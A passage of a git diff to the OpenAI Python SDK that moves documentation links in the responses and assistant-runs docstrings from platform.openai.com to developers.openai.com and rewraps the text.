- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -2770,13 +2782,15 @@ async def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -2791,7 +2805,7 @@ async def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -2803,8 +2817,8 @@ async def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -2817,17 +2831,18 @@ async def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -2852,7 +2867,7 @@ async def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -3019,27 +3034,27 @@ async def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -3071,11 +3086,11 @@ async def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -3085,7 +3100,7 @@ async def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -3102,8 +3117,8 @@ async def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -3113,15 +3128,15 @@ async def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -3130,7 +3145,7 @@ async def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -3138,7 +3153,7 @@ async def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -3152,14 +3167,14 @@ async def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -3168,13 +3183,15 @@ async def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -3189,7 +3206,7 @@ async def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -3201,8 +3218,8 @@ async def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -3215,17 +3232,18 @@ async def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -3250,7 +3268,7 @@ async def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -3507,7 +3525,7 @@ async def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
extra_headers: Send extra headers
@@ -3545,7 +3563,7 @@ async def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
include: Additional fields to include in the response. See the `include` parameter for
@@ -3595,7 +3613,7 @@ async def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
include: Additional fields to include in the response. See the `include` parameter for
@@ -3724,7 +3742,7 @@ async def cancel(
Only responses created with the
`background` parameter set to `true` can be cancelled.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
Args:
extra_headers: Send extra headers
@@ -3885,16 +3903,16 @@ async def compact(
Returns a compacted response object.
Learn when and how to compact long-running conversations in the
- [conversation state guide](https://platform.openai.com/docs/guides/conversation-state#managing-the-context-window).
+ [conversation state guide](https://developers.openai.com/api/docs/guides/conversation-state#managing-the-context-window).
For ZDR-compatible compaction details, see
- [Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
+ [Compaction (advanced)](https://developers.openai.com/api/docs/guides/conversation-state#compaction-advanced).
Args:
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
input: Text, image, or file inputs to the model, used to generate a response
@@ -3905,7 +3923,7 @@ async def compact(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt_cache_key: A key to use when reading from or writing to the prompt cache.
@@ -3917,7 +3935,7 @@ async def compact(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: How long to retain a prompt cache entry created by this request.
@@ -3927,17 +3945,17 @@ async def compact(
Project settings. Unless otherwise configured, the Project will use 'default'. -
If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model. - If set to
- '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the
- request will be processed with the Flex Processing service tier. - To opt-in to
- [Fast mode](/api/docs/guides/fast-mode) at the request level, include the
- `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. For models with a dedicated Fast tier, either value resolves to
- `service_tier=fast`; for other models, either value resolves to
- `service_tier=priority`. - When not set, the default behavior is 'auto'. When
- the `service_tier` parameter is set, the response body will include the
- `service_tier` value based on the processing mode actually used to serve the
- request. This response value may be different from the value set in the
- parameter.
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier. - To opt-in
+ to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. For models with a dedicated Fast
+ tier, either value resolves to `service_tier=fast`; for other models, either
+ value resolves to `service_tier=priority`. - When not set, the default behavior
+ is 'auto'. When the `service_tier` parameter is set, the response body will
+ include the `service_tier` value based on the processing mode actually used to
+ serve the request. This response value may be different from the value set in
+ the parameter.
extra_headers: Send extra headers
diff --git a/src/openai/resources/beta/threads/runs/runs.py b/src/openai/resources/beta/threads/runs/runs.py
index 5321b02c5a..5f2ece0375 100644
--- a/src/openai/resources/beta/threads/runs/runs.py
+++ b/src/openai/resources/beta/threads/runs/runs.py
@@ -122,15 +122,15 @@ def create(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
include: A list of additional fields to include in the response. Currently the only
supported value is `step_details.tool_calls[*].file_search.results[*].content`
to fetch the file search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
additional_instructions: Appends additional instructions at the end of the instructions for the run. This
@@ -140,8 +140,8 @@ def create(
additional_messages: Adds additional messages to the thread before creating the run.
instructions: Overrides the
- [instructions](https://platform.openai.com/docs/api-reference/assistants/createAssistant)
- of the assistant. This is useful for modifying the behavior on a per-run basis.
+ [instructions](https://developers.openai.com/api/docs/assistants/migration) of
+ the assistant. This is useful for modifying the behavior on a per-run basis.
max_completion_tokens: The maximum number of completion tokens that may be used over the course of the
run. The run will make a best effort to use only the number of completion tokens
@@ -162,31 +162,32 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
reasoning_effort: Constrains effort on reasoning for reasoning models. Currently supported values
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -273,8 +274,8 @@ def create(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
stream: If `true`, returns a stream of events that happen during the Run as server-sent
events, terminating when the Run enters a terminal state with a `data: [DONE]`
@@ -285,7 +286,7 @@ def create(
to fetch the file search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
additional_instructions: Appends additional instructions at the end of the instructions for the run. This
@@ -295,8 +296,8 @@ def create(
additional_messages: Adds additional messages to the thread before creating the run.
instructions: Overrides the
- [instructions](https://platform.openai.com/docs/api-reference/assistants/createAssistant)
- of the assistant. This is useful for modifying the behavior on a per-run basis.
+ [instructions](https://developers.openai.com/api/docs/assistants/migration) of
+ the assistant. This is useful for modifying the behavior on a per-run basis.
max_completion_tokens: The maximum number of completion tokens that may be used over the course of the
run. The run will make a best effort to use only the number of completion tokens
@@ -317,31 +318,32 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
reasoning_effort: Constrains effort on reasoning for reasoning models. Currently supported values
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -424,8 +426,8 @@ def create(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
stream: If `true`, returns a stream of events that happen during the Run as server-sent
events, terminating when the Run enters a terminal state with a `data: [DONE]`
@@ -436,7 +438,7 @@ def create(
to fetch the file search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
additional_instructions: Appends additional instructions at the end of the instructions for the run. This
@@ -446,8 +448,8 @@ def create(
additional_messages: Adds additional messages to the thread before creating the run.
instructions: Overrides the
- [instructions](https://platform.openai.com/docs/api-reference/assistants/createAssistant)
- of the assistant. This is useful for modifying the behavior on a per-run basis.
+ [instructions](https://developers.openai.com/api/docs/assistants/migration) of
+ the assistant. This is useful for modifying the behavior on a per-run basis.
max_completion_tokens: The maximum number of completion tokens that may be used over the course of the
run. The run will make a best effort to use only the number of completion tokens
@@ -468,31 +470,32 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
reasoning_effort: Constrains effort on reasoning for reasoning models. Currently supported values
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -1587,15 +1590,15 @@ async def create(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
include: A list of additional fields to include in the response. Currently the only
supported value is `step_details.tool_calls[*].file_search.results[*].content`
to fetch the file search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
additional_instructions: Appends additional instructions at the end of the instructions for the run. This
@@ -1605,8 +1608,8 @@ async def create(
additional_messages: Adds additional messages to the thread before creating the run.
instructions: Overrides the
- [instructions](https://platform.openai.com/docs/api-reference/assistants/createAssistant)
- of the assistant. This is useful for modifying the behavior on a per-run basis.
+ [instructions](https://developers.openai.com/api/docs/assistants/migration) of
+ the assistant. This is useful for modifying the behavior on a per-run basis.
max_completion_tokens: The maximum number of completion tokens that may be used over the course of the
run. The run will make a best effort to use only the number of completion tokens
@@ -1627,31 +1630,32 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
reasoning_effort: Constrains effort on reasoning for reasoning models. Currently supported values
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -1738,8 +1742,8 @@ async def create(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
stream: If `true`, returns a stream of events that happen during the Run as server-sent
events, terminating when the Run enters a terminal state with a `data: [DONE]`
@@ -1750,7 +1754,7 @@ async def create(
to fetch the file search result content.
See the
